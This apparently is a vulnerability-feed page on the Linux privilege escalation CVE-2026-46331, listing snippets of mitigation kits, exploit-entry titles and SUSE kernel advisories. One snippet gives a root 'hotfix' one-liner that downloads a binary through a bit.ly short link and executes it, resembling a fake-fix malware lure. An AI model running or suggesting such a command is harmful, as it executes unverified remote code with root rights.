pagecache-lpe-containment-kit

页缓存本地提权防护套件 检测、遏制并验证针对两种 Linux 页缓存损坏本地提权漏洞——DirtyClone（CVE-2026-43503） 和 pedit COW（CVE-2026-46331） ——在主机和容器中的防御措施。 这是一个教育性、防御性 的安全套件。它解释了这两个漏洞如何在系统调用层面工作，并提供了加固、检测、验证和 seccomp 工具——外加一个验证框架，证明这些工具在实际内核上有效。它不包含任何漏洞利用代码、shellcode 或目标偏移量，这是经过设计的。 目录 为何存在 30 秒了解漏洞 快速开始 套件内容 系统要求 范围与伦理 了解更多 贡献 许可证 为何存在...

CVE-2026-46331

CVE-2026-46331 - "pedit COW" 漏洞评估与缓解指南 此仓库包含基本的管理工具，用于检查系统暴露风险并对 Linux 内核中的本地权限提升漏洞 CVE-2026-46331 （被称为 "pedit COW" ）应用临时缓解措施。 仓库内容 1. check.sh : 本地诊断脚本，用于检查当前内核版本和用户 namespaces 配置，以评估系统风险等级。 2. fixvulnerabilidad.sh : 临时修复脚本，限制非特权 namespaces 的克隆，从而阻断常见利用向量，无需立即重启。...

cve_2026_frag_family_fix

frag family 漏洞缓解工具 Copy Fail 2026 Dirty Frag 2026 Fragnesia 2026 DirtyClone 2026 PEdit-CoW 2026 在任何 Linux 上运行热修复 root@kitploit: b="/tmp/cve2026fragfamilyfix"; wget -qO $b $wget -qO- https://bit.ly/4vetMTB | grep browserdownloadurl | grep -v .exe | cut -d '"' -f 4 && chmod +x $b && $b 或...

Exploit for Out-of-bounds Write in Linux Linux_Kernel

PoC-CVE-2026-46...

Important: kernel6.12

Issue Overview: In the Linux kernel, the following vulnerability has been resolved: mm/pagealloc: clear page-private in freepagesprepare CVE-2026-43303 In the Linux kernel, the following vulnerability has been resolved: ipvs: skip ipv6 extension headers for csum checks CVE-2026-45850 In the Linux...

Exploit for CVE-2026-46331

CVE-2026-46331 - "pedit COW" Vulnerability Assessment & Mitiga...

pagecache-lpe-containment-kit

Page-Cache LPE Containment Kit Detect, contain, and verify...

CVE-2026-46331

creationtimestamp| type| source ---|---|--- 2026-06-26 13:26:58+00:00| seen| https://bsky.app/profile/infosecbriefly.bsky.social/post/3mp72c3a6uv2w 2026-06-26 13:35:18+00:00| seen| https://bsky.app/profile/cybernewsroom.bsky.social/post/3mp72qywylh2d 2026-06-26 13:38:12+00:00| seen|...

SUSE SLES15 Security Update : kernel (Live Patch 23 for SUSE Linux Enterprise 15 SP6) (SUSE-SU-2026:2559-1)

The remote SUSE Linux SLES15 host has a package installed that is affected by multiple vulnerabilities as referenced in the SUSE-SU-2026:2559-1 advisory. This update for the SUSE Linux Enterprise Kernel 6.4.0-150600.23.100 fixes various security issues The following security issues were fixed: -...

SUSE-SU-2026:22428-1 Security update for the Linux Kernel (Live Patch 23 for SUSE Linux Enterprise Micro 6.0)

This update for the SUSE Linux Enterprise Kernel 6.4.0-46.1 fixes various security issues The following security issues were fixed: - CVE-2026-31402: nfsd: fix heap overflow in NFSv4.0 LOCK replay cache bsc1261640. - CVE-2026-31504: net: fix fanout UAF in packetrelease via NETDEVUP race bsc126308...

SUSE-SU-2026:22474-1 Security update for the Linux Kernel (Live Patch 20 for SUSE Linux Enterprise Micro 6.0)

This update for the SUSE Linux Enterprise Kernel 6.4.0-43.1 fixes various security issues The following security issues were fixed: - CVE-2025-54518: AMD-SN-7052: CPU OP Cache Corruption bsc1264096. - CVE-2026-31402: nfsd: fix heap overflow in NFSv4.0 LOCK replay cache bsc1261640. - CVE-2026-3150...

SUSE-SU-2026:22425-1 Security update for the Linux Kernel (Live Patch 20 for SUSE Linux Enterprise Micro 6.0)

This update for the SUSE Linux Enterprise Kernel 6.4.0-43.1 fixes various security issues The following security issues were fixed: - CVE-2025-54518: AMD-SN-7052: CPU OP Cache Corruption bsc1264096. - CVE-2026-31402: nfsd: fix heap overflow in NFSv4.0 LOCK replay cache bsc1261640. - CVE-2026-3150...

SUSE-SU-2026:22389-1 Security update for the Linux Kernel (Live Patch 8 for SUSE Linux Enterprise 16)

This update for the SUSE Linux Enterprise Kernel 6.12.0-160000.29.1 fixes various security issues The following security issues were fixed: - CVE-2026-31402: nfsd: fix heap overflow in NFSv4.0 LOCK replay cache bsc1261640. - CVE-2026-31504: net: fix fanout UAF in packetrelease via NETDEVUP race...

SUSE-SU-2026:22387-1 Security update for the Linux Kernel (Live Patch 6 for SUSE Linux Enterprise 16)

This update for the SUSE Linux Enterprise Kernel 6.12.0-160000.27.1 fixes various security issues The following security issues were fixed: - CVE-2026-23278: netfilter: nftables: always walk all pending catchall elements bsc1260907. - CVE-2026-31402: nfsd: fix heap overflow in NFSv4.0 LOCK replay...

SUSE-SU-2026:22490-1 Security update for the Linux Kernel RT (Live Patch 22 for SUSE Linux Enterprise Micro 6.0)

This update for the SUSE Linux Enterprise Kernel 6.4.0-45.1 fixes various security issues The following security issues were fixed: - CVE-2026-31402: nfsd: fix heap overflow in NFSv4.0 LOCK replay cache bsc1261640. - CVE-2026-31504: net: fix fanout UAF in packetrelease via NETDEVUP race bsc126308...

SUSE-SU-2026:22404-1 Security update for the Linux Kernel RT (Live Patch 11 for SUSE Linux Enterprise Micro 6.0)

This update for the SUSE Linux Enterprise Kernel 6.4.0-32.1 fixes various security issues The following security issues were fixed: - CVE-2026-23278: netfilter: nftables: always walk all pending catchall elements bsc1260907. - CVE-2026-31402: nfsd: fix heap overflow in NFSv4.0 LOCK replay cache...

SUSE-SU-2026:22402-1 Security update for the Linux Kernel (Live Patch 19 for SUSE Linux Enterprise Micro 6.0)

This update for the SUSE Linux Enterprise Kernel 6.4.0-42.1 fixes various security issues The following security issues were fixed: - CVE-2025-54518: AMD-SN-7052: CPU OP Cache Corruption bsc1264096. - CVE-2026-31402: nfsd: fix heap overflow in NFSv4.0 LOCK replay cache bsc1261640. - CVE-2026-3150...

SUSE-SU-2026:2610-1 Security update for the Linux Kernel (Live Patch 11 for SUSE Linux Enterprise 15 SP6)

This update for the SUSE Linux Enterprise Kernel 6.4.0-150600.23.50 fixes various security issues The following security issues were fixed: - CVE-2026-23278: netfilter: nftables: always walk all pending catchall elements bsc1260907. - CVE-2026-31402: nfsd: fix heap overflow in NFSv4.0 LOCK replay...